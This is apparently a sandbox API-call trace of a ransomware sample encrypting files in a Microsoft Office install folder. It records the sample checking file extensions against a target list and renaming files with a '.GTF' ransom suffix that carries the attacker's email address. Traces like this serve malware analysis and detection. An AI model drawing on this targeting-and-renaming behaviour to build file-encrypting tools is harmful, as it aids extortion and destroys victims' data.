	[0166.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0166.816] lstrlenW (lpString=".1cd") returned 4
	[0166.816] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0166.816] lstrlenW (lpString=".jpg") returned 4
	[0166.817] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0166.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0166.817] lstrlenW (lpString=".doc") returned 4
	[0166.817] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.817] lstrlenW (lpString=".docx") returned 5
	[0166.817] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0166.817] lstrlenW (lpString=".pdf") returned 4
	[0166.817] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.817] lstrlenW (lpString=".xls") returned 4
	[0166.817] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.817] lstrlenW (lpString=".xlsx") returned 5
	[0166.817] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0166.817] lstrlenW (lpString=".ppt") returned 4
	[0166.817] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0166.817] lstrlenW (lpString=".zip") returned 4
	[0166.817] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.817] lstrlenW (lpString=".rar") returned 4
	[0166.817] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.817] lstrlenW (lpString=".bz2") returned 4
	[0166.817] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.817] lstrlenW (lpString=".7z") returned 3
	[0166.817] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0166.817] lstrlenW (lpString=".dbf") returned 4
	[0166.817] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0166.817] lstrlenW (lpString=".1cd") returned 4
	[0166.817] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0166.817] lstrlenW (lpString=".jpg") returned 4
	[0166.817] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.818] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0166.818] lstrlenW (lpString="Microsoft.Tools.Office.C2R.Packager.dll") returned 39
	[0166.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0166.818] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=132800) returned 1
	[0166.818] CloseHandle (hObject=0x378) returned 1
	[0166.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll")) returned 0x220
	[0166.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88
	[0166.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88
	[0166.819] lstrlenW (lpString=".doc") returned 4
	[0166.819] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.819] lstrlenW (lpString=".docx") returned 5
	[0166.819] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0166.819] lstrlenW (lpString=".pdf") returned 4
	[0166.819] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.819] lstrlenW (lpString=".xls") returned 4
	[0166.819] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.819] lstrlenW (lpString=".xlsx") returned 5
	[0166.819] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0166.819] lstrlenW (lpString=".ppt") returned 4
	[0166.819] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88
	[0166.819] lstrlenW (lpString=".zip") returned 4
	[0166.819] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.819] lstrlenW (lpString=".rar") returned 4
	[0166.819] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.819] lstrlenW (lpString=".bz2") returned 4
	[0166.819] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.819] lstrlenW (lpString=".7z") returned 3
	[0166.819] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88
	[0166.819] lstrlenW (lpString=".dbf") returned 4
	[0166.819] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88
	[0166.819] lstrlenW (lpString=".1cd") returned 4
	[0166.820] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88
	[0166.820] lstrlenW (lpString=".jpg") returned 4
	[0166.820] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88
	[0166.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88
	[0166.820] lstrlenW (lpString=".doc") returned 4
	[0166.820] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.820] lstrlenW (lpString=".docx") returned 5
	[0166.820] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0166.820] lstrlenW (lpString=".pdf") returned 4
	[0166.820] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.820] lstrlenW (lpString=".xls") returned 4
	[0166.820] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.820] lstrlenW (lpString=".xlsx") returned 5
	[0166.820] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0166.820] lstrlenW (lpString=".ppt") returned 4
	[0166.820] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88
	[0166.820] lstrlenW (lpString=".zip") returned 4
	[0166.820] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.820] lstrlenW (lpString=".rar") returned 4
	[0166.820] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.820] lstrlenW (lpString=".bz2") returned 4
	[0166.820] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.820] lstrlenW (lpString=".7z") returned 3
	[0166.820] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88
	[0166.820] lstrlenW (lpString=".dbf") returned 4
	[0166.820] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88
	[0166.820] lstrlenW (lpString=".1cd") returned 4
	[0166.820] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88
	[0166.820] lstrlenW (lpString=".jpg") returned 4
	[0166.820] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.821] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0166.821] lstrlenW (lpString="msvcp120.dll") returned 12
	[0166.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0166.821] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=455344) returned 1
	[0166.821] CloseHandle (hObject=0x378) returned 1
	[0166.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll")) returned 0x220
	[0166.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0166.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0166.822] lstrlenW (lpString=".doc") returned 4
	[0166.822] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.822] lstrlenW (lpString=".docx") returned 5
	[0166.822] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0166.822] lstrlenW (lpString=".pdf") returned 4
	[0166.822] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.822] lstrlenW (lpString=".xls") returned 4
	[0166.822] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.822] lstrlenW (lpString=".xlsx") returned 5
	[0166.822] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0166.822] lstrlenW (lpString=".ppt") returned 4
	[0166.822] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0166.822] lstrlenW (lpString=".zip") returned 4
	[0166.822] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.822] lstrlenW (lpString=".rar") returned 4
	[0166.822] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.822] lstrlenW (lpString=".bz2") returned 4
	[0166.822] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.822] lstrlenW (lpString=".7z") returned 3
	[0166.822] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0166.822] lstrlenW (lpString=".dbf") returned 4
	[0166.822] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0166.822] lstrlenW (lpString=".1cd") returned 4
	[0166.822] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0166.823] lstrlenW (lpString=".jpg") returned 4
	[0166.823] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0166.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0166.823] lstrlenW (lpString=".doc") returned 4
	[0166.823] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.823] lstrlenW (lpString=".docx") returned 5
	[0166.823] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0166.823] lstrlenW (lpString=".pdf") returned 4
	[0166.823] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.823] lstrlenW (lpString=".xls") returned 4
	[0166.823] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.823] lstrlenW (lpString=".xlsx") returned 5
	[0166.823] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0166.823] lstrlenW (lpString=".ppt") returned 4
	[0166.823] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0166.823] lstrlenW (lpString=".zip") returned 4
	[0166.823] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.823] lstrlenW (lpString=".rar") returned 4
	[0166.823] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.823] lstrlenW (lpString=".bz2") returned 4
	[0166.824] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.824] lstrlenW (lpString=".7z") returned 3
	[0166.824] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0166.824] lstrlenW (lpString=".dbf") returned 4
	[0166.824] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0166.824] lstrlenW (lpString=".1cd") returned 4
	[0166.824] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0166.824] lstrlenW (lpString=".jpg") returned 4
	[0166.824] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.824] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0166.824] lstrlenW (lpString="msvcp140.dll") returned 12
	[0166.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0166.825] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=439608) returned 1
	[0166.825] CloseHandle (hObject=0x378) returned 1
	[0166.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll")) returned 0x220
	[0166.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0166.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0166.826] lstrlenW (lpString=".doc") returned 4
	[0166.826] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.826] lstrlenW (lpString=".docx") returned 5
	[0166.826] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0166.826] lstrlenW (lpString=".pdf") returned 4
	[0166.826] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.826] lstrlenW (lpString=".xls") returned 4
	[0166.827] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.827] lstrlenW (lpString=".xlsx") returned 5
	[0166.827] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0166.827] lstrlenW (lpString=".ppt") returned 4
	[0166.827] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0166.827] lstrlenW (lpString=".zip") returned 4
	[0166.827] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.827] lstrlenW (lpString=".rar") returned 4
	[0166.827] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.827] lstrlenW (lpString=".bz2") returned 4
	[0166.827] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.827] lstrlenW (lpString=".7z") returned 3
	[0166.827] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0166.827] lstrlenW (lpString=".dbf") returned 4
	[0166.827] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0166.827] lstrlenW (lpString=".1cd") returned 4
	[0166.827] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0166.827] lstrlenW (lpString=".jpg") returned 4
	[0166.827] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0166.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0166.827] lstrlenW (lpString=".doc") returned 4
	[0166.827] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.827] lstrlenW (lpString=".docx") returned 5
	[0166.827] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0166.827] lstrlenW (lpString=".pdf") returned 4
	[0166.827] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.827] lstrlenW (lpString=".xls") returned 4
	[0166.827] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.827] lstrlenW (lpString=".xlsx") returned 5
	[0166.827] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0166.827] lstrlenW (lpString=".ppt") returned 4
	[0166.828] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0166.828] lstrlenW (lpString=".zip") returned 4
	[0166.828] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.828] lstrlenW (lpString=".rar") returned 4
	[0166.828] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.828] lstrlenW (lpString=".bz2") returned 4
	[0166.828] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.828] lstrlenW (lpString=".7z") returned 3
	[0166.828] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0166.828] lstrlenW (lpString=".dbf") returned 4
	[0166.828] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0166.828] lstrlenW (lpString=".1cd") returned 4
	[0166.828] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0166.828] lstrlenW (lpString=".jpg") returned 4
	[0166.828] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.828] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0166.828] lstrlenW (lpString="msvcr120.dll") returned 12
	[0166.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0166.829] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=968880) returned 1
	[0166.829] CloseHandle (hObject=0x378) returned 1
	[0166.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcr120.dll")) returned 0x220
	[0166.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcr120.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61
	[0166.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61
	[0166.830] lstrlenW (lpString=".doc") returned 4
	[0166.830] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.830] lstrlenW (lpString=".docx") returned 5
	[0166.830] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0166.830] lstrlenW (lpString=".pdf") returned 4
	[0166.830] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.830] lstrlenW (lpString=".xls") returned 4
	[0166.830] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.830] lstrlenW (lpString=".xlsx") returned 5
	[0166.830] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0166.830] lstrlenW (lpString=".ppt") returned 4
	[0166.830] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61
	[0166.830] lstrlenW (lpString=".zip") returned 4
	[0166.830] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.830] lstrlenW (lpString=".rar") returned 4
	[0166.830] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.830] lstrlenW (lpString=".bz2") returned 4
	[0166.830] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.830] lstrlenW (lpString=".7z") returned 3
	[0166.830] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61
	[0166.831] lstrlenW (lpString=".dbf") returned 4
	[0166.831] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.838] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0166.842] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0167.156] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0167.966] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.966] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0168.047] GetLastError () returned 0x0
	[0168.047] ReadFile (in: hFile=0x508, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x5127, lpOverlapped=0x0) returned 1
